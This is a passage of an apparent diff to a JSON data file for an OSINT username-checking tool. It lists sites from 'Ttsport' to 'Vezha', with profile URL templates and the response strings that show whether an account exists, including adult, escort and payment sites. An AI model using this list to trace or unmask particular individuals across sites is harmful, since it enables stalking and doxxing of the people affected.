\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Ttsport", + "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "tttang", + "url": "https://tttang.com/user/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Tube Galore (channels)", + "url": "https://www.tubegalore.com/source/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "results found" + }, + { + "name": "Tube Galore (pornstars)", + "url": "https://www.tubegalore.com/pornstar/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "results found" + }, + { + "name": "Tube8 (channels)", + "url": "https://www.tube8.com/channel/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Porn Channels", + "match_string": "Channel for Free Porn | Tube8.com" + }, + { + "name": "Tube8 (pornstars)", + "url": "https://www.tube8.com/pornstar/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 Page Not Found", + "match_string": "Porn Videos and XXX Movies | Tube8.com" + }, + { + "name": "Tula", + "url": "http://tula.net.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tulup", + "url": "https://www.tulup.ru/noindex/userlist.php?search={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u044e\u0449\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0430" + }, + { + "name": "Tumblr", + "url": "https://www.tumblr.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not found.", + "match_string": "profile" + }, + { + "name": "tumblr", + "url": "https://{}.tumblr.com/", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tumblr", + "url": "https://{}.tumblr.com", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "There's nothing here", + "match_code": 200, + "match_string": "avatar" + }, + { + "name": "Tumbral", + "url": "https://tumbral.com/blog/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-name" + }, + { + "name": "Tuna", + "url": "https://tuna.voicemod.net/user/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tunefind", + "url": "https://www.tunefind.com/user/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "Achievements" + }, + { + "name": "tunefind", + "url": "https://www.tunefind.com/api-request/account/profile?userName={}", + "category": "music", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"code\":\"not_found\"", + "match_code": 200, + "match_string": "\"user-stats-engagement\":" + }, + { + "name": "Turbina", + "url": "https://turbinatravels.com/authors/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Turkey-info", + "url": "https://turkey-info.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "Turpravda", + "url": "https://www.turpravda.ua/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "Tutor", + "url": "https://tutor.ru/tutor/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0432\u0430\u043c\u0438 \u0430\u0434\u0440\u0435\u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d" + }, + { + "name": "Tutsplus", + "url": "https://tutsplus.com/authors/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tv", + "url": "https://tv.gab.com/channel/{}", + "category": "social", + "source": "nexfil", + "nsfw": false + }, + { + "name": "tv-android.at.ua", + "url": "http://tv-android.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tv-games", + "url": "http://tv-games.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tv-games", + "url": "http://tv-games.ru/forum/member.php?username={}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "tv.ucoz.club", + "url": "http://tv.ucoz.club/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tvigra.clan.su", + "url": "http://tvigra.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TVTropes", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tw_weibo", + "url": "https://tw.weibo.com/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "User " + }, + { + "name": "Twitter", + "url": "https://www.twitter.com/{}", + "category": "social", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Twitter Shadowban", + "url": "https://shadowban.eu/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "exists\": false", + "match_string": "exists\": true" + }, + { + "name": "Twittercommunity", + "url": "https://twittercommunity.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "twle", + "url": "https://www.twle.cn/member/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Twpro.jp", + "url": "https://twpro.jp/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u3092\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002", + "match_string": "\u304a\u3068\u306a\u308a\u3055\u3093" + }, + { + "name": "Twunroll", + "url": "https://twunroll.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "article_account" + }, + { + "name": "Typeracer", + "url": "https://data.typeracer.com/pit/profile?user={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Profile Not Found" + }, + { + "name": "uahack.at.ua", + "url": "http://uahack.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uaksu", + "url": "https://uaksu.forum24.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d" + }, + { + "name": "Uanime", + "url": "http://uanime.org.ua/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0422\u0435\u043c \u0430\u0431\u043e \u043f\u043e\u0432\u0456\u0434\u043e\u043c\u043b\u0435\u043d\u044c" + }, + { + "name": "Uaodessa", + "url": "https://uaodessa.com/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "uaodessa.com", + "url": "http://uaodessa.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uazpatriot", + "url": "https://uazpatriot.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Ubisoft", + "url": "https://forums-ru.ubisoft.com/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Ubisoft", + "url": "https://discussions.ubisoft.com/user/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "You seem to have stumbled upon a page that does not exist.", + "match_code": 200, + "match_string": "| Ubisoft Discussion Forums" + }, + { + "name": "UBIUSB (underwear sales)", + "url": "https://ubisub.com/profile/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">ohh! page not found", + "match_string": "Follow" + }, + { + "name": "ubuntu-mate.community", + "url": "https://ubuntu-mate.community/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uchportal", + "url": "https://www.uchportal.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ucoz", + "url": "https://forum.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ucozon.ru", + "url": "http://ucozon.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ucozzz.ru", + "url": "http://ucozzz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Udemy", + "url": "https://www.udemy.com/user/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Udemy", + "url": "https://udemy.com/user/{}/", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "about-me" + }, + { + "name": "UEF CONNECT", + "url": "https://uefconnect.uef.fi/en/{}/", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found - UEFConnect", + "match_code": 200, + "match_string": "profile-page-header__info" + }, + { + "name": "uefconnect", + "url": "https://uefconnect.uef.fi/en/person/{}/", + "category": "professional", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found - UEFConnect", + "match_code": 200, + "match_string": "- UEFConnect" + }, + { + "name": "Uesp", + "url": "https://uesp.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "uface.at.ua", + "url": "http://uface.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ufive.ru", + "url": "http://ufive.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ufocomm", + "url": "https://www.ufocomm.ru/search/?&q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0430\u0439\u0434\u0435\u043d\u043e: 0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "uforum.uz", + "url": "https://uforum.uz/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uft", + "url": "https://uft.me/persons/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ugri.ucoz.ru", + "url": "http://ugri.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uid", + "url": "https://uid.me/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "profile_name" + }, + { + "name": "uID.me (by uguid)", + "url": "http://uid.me/uguid/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "uID.me (by username)", + "url": "http://uid.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uiuxdev.social (Mastodon Instance)", + "url": "https://uiuxdev.social/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Ukgameshows", + "url": "https://ukgameshows.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "uko.at.ua", + "url": "http://uko.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ukraine-footbal", + "url": "https://ukraine-footbal.at.ua/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430 \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "ukrelektrik.com", + "url": "http://ukrelektrik.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ultimate Guitar", + "url": "https://www.ultimate-guitar.com/u/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 410, + "error_string": "Oops! We couldn't find that page.", + "match_code": 200, + "match_string": " | Ultimate-Guitar.Com" + }, + { + "name": "Ultimate-Guitar", + "url": "https://ultimate-guitar.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ultras Diary", + "url": "http://ultrasdiary.pl/u/{}/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Ile masz wyjazd\u00f3w?", + "match_code": 200, + "match_string": "Mecze wyjazdowe:" + }, + { + "name": "ultrasdiary.pl", + "url": "https://ultrasdiary.pl/u/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "UltrasDiary – Pami\u0119tnik Kibica", + "match_string": "Mecze wyjazdowe:" + }, + { + "name": "ulub.pl", + "url": "http://ulub.pl/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Strona nie istnieje.", + "match_string": "Muzyka (" + }, + { + "name": "umorbos.at.ua", + "url": "http://umorbos.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "unc.ua", + "url": "https://unc.ua/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Error Site", + "match_string": "page-user_profile" + }, + { + "name": "Uncyclomedia", + "url": "https://uncyclomedia.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Universemc", + "url": "https://universemc.us/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "universemc.us", + "url": "https://universemc.us/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "universocraft", + "url": "https://stats.universocraft.com/stats.php?player={}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No se ha encontrado ning\u00fan usuario con ese nombre", + "match_string": "\u00daltima conexi\u00f3n" + }, + { + "name": "Unixforum", + "url": "https://unixforum.org/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Unlisted Videos", + "url": "https://unlistedvideos.com/search.php?user={}", + "category": "forum", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "content=\"\"/>", + "match_code": 200, + "match_string": "Date submitted" + }, + { + "name": "unreal.at.ua", + "url": "http://unreal.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Unsorted", + "url": "https://unsorted.me/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "Unsplash", + "url": "https://unsplash.com/@{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Unsplash", + "url": "https://unsplash.com/@{}/likes", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "UnstoppableDomains", + "url": "https://ud.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "reservedForUserId" + }, + { + "name": "Untappd", + "url": "https://untappd.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Untappd", + "url": "https://untappd.com/user/{}/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "class=\"search_404\"", + "match_code": 200, + "match_string": "class=\"cont user_profile\"" + }, + { + "name": "Uoguide", + "url": "https://uoguide.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "upbyte.net", + "url": "http://upbyte.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uphillathlete", + "url": "https://uphillathlete.com/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "upwork.com", + "url": "https://upwork.com/fl/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ural-sloboda.ucoz.ru", + "url": "http://ural-sloboda.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Uralfishing", + "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "nowrap=\"nowrap\">" + }, + { + "name": "Uwr1", + "url": "http://uwr1.de/forum/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "uwu.ai", + "url": "https://{}.uwu.ai/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sorry, the requested page could not be found.", + "match_code": 200, + "match_string": "property=\"twitter:card\"" + }, + { + "name": "Uwumarket", + "url": "https://uwumarket.us/collections/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found", + "match_code": 200, + "match_string": "collection-hero__text-wrapper" + }, + { + "name": "Uzhforum", + "url": "http://www.uzhforum.com/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447 \u043d\u0435 \u0437\u0430\u0440\u0435\u0454\u0441\u0442\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0456 \u043d\u0435 \u043c\u0430\u0454 \u043f\u0440\u043e\u0444\u0456\u043b\u044e, \u044f\u043a\u0438\u0439 \u043c\u043e\u0436\u043d\u0430 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u043d\u0443\u0442\u0438." + }, + { + "name": "v-twinforum.com", + "url": "https://v-twinforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "v2ex.com", + "url": "https://v2ex.com/member/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "v3de.ru", + "url": "http://v3de.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vadimbondar.ucoz.ru", + "url": "http://vadimbondar.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vadya.ucoz.ru", + "url": "http://vadya.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Valday", + "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f " + }, + { + "name": "valinor.com.br", + "url": "http://www.valinor.com.br/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "valleykrosava.ucoz.ru", + "url": "http://valleykrosava.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Valorant Forums", + "url": "https://valorantforums.com/u/{}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "The page you requested could not be found." + }, + { + "name": "Vamber", + "url": "https://vamber.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vampirerave", + "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Vapenews", + "url": "https://vapenews.ru/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430 404", + "match_string": "\u041b\u0438\u0447\u043d\u043e\u0435" + }, + { + "name": "Vas3k", + "url": "https://vas3k.club/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vauxhallownersnetwork.co.uk", + "url": "http://www.vauxhallownersnetwork.co.uk/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "VC", + "url": "https://vc.ru/discovery?q={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null" + }, + { + "name": "VC.ru", + "url": "https://vc.ru/search/v2/subsite/relevant?query={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + }, + { + "name": "vch3469.3dn.ru", + "url": "http://vch3469.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vdv-belarus.ucoz.com", + "url": "http://vdv-belarus.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vega.ucoz.net", + "url": "http://vega.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "vegalab", + "url": "http://forum.vegalab.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Vegas Girls Gone Wild (Las Vegas, NV)", + "url": "https://vegasgirlsgonewild.com/escort/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "Vegas Girls Gone Wild" + }, + { + "name": "VegasCreativeSoftware", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "VEGAS Community" + }, + { + "name": "Velocat", + "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Velog", + "url": "https://velog.io/@{}/posts", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Velomania", + "url": "https://forum.velomania.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Velomania", + "url": "https://forum.velomania.ru/member.php?username={}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Velosamara", + "url": "http://velosamara.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "velozone.ucoz.ua", + "url": "http://velozone.ucoz.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Venera", + "url": "https://venera.one/search/?q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Venmo", + "url": "https://venmo.com/{}", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Venmo", + "url": "https://account.venmo.com/u/{}", + "category": "finance", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Venmo | Page Not Found" + }, + { + "name": "Vent", + "url": "https://vent.co/u/{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "current-emotion" + }, + { + "name": "vento-club.com", + "url": "http://vento-club.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Verifiedhandles", + "url": "https://verifiedhandles.com/vhid/VHID/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Vero", + "url": "https://vero.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Error Page - VERO\u2122 \u2013 True Social" + }, + { + "name": "Vezha", + "url": "https://vezha.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": 